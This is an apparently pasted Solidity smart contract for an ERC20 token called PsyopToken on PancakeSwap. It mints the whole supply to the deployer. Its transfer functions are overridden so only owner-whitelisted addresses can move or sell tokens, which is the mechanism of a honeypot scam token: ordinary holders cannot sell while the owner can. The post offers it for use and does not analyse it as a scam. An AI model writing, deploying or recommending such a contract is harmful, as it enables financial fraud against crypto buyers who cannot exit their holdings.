Untitled

 avatar
user_4748127
plain_text
2 years ago
1.8 kB
2
Indexable
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
 
contract PsyopToken is ERC20, Ownable {
    mapping(address => bool) private _isExcludedFromRestriction;
    address public constant pancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
 
    constructor() ERC20("PsyopToken", "PSYOP") {
        uint256 initialSupply = 1 * 10**9 * 10**18; // 1 billion tokens, 18 decimal places
        _mint(msg.sender, initialSupply);
 
        _isExcludedFromRestriction[msg.sender] = true; // Exclude owner from restriction
        _isExcludedFromRestriction[address(0)] = true; // Exclude burn address
        _isExcludedFromRestriction[address(this)] = true; // Exclude contract itself
        _isExcludedFromRestriction[pancakeSwapRouterV2] = true; // Exclude PancakeSwap router from restriction
    }
 
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        require(_isExcludedFromRestriction[msg.sender], "Only the owner can sell tokens");
        return super.transfer(recipient, amount);
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        require(_isExcludedFromRestriction[sender], "Only the owner can sell tokens");
        return super.transferFrom(sender, recipient, amount);
    }
 
    function excludeFromRestriction(address account) public onlyOwner {
        _isExcludedFromRestriction[account] = true;
    }
 
    function includeInRestriction(address account) public onlyOwner {
        _isExcludedFromRestriction[account] = false;
    }
 
    function isExcludedFromRestriction(address account) public view returns (bool) {
        return _isExcludedFromRestriction[account];
    }
}